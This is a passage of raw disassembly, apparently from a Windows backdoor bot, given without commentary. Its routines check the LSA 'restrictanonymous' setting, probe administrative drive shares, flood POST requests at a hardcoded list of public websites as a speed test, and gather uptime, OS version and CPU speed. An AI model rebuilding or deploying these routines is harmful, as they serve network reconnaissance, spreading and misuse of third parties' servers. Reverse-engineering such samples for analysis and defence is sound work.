		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D64
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D2C


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B08


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D0
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD0
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CA8


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E0
		jb	short loc_41A321
		nop
		call	near ptr 2870000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD0
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CA8


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C78
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A0B9Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43381C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E18
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26A0B9Fh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26E05B4h
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26903FCh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26E05B4h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43127C


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43126C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431268
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431260


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437834
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A10C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2740000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2880000h
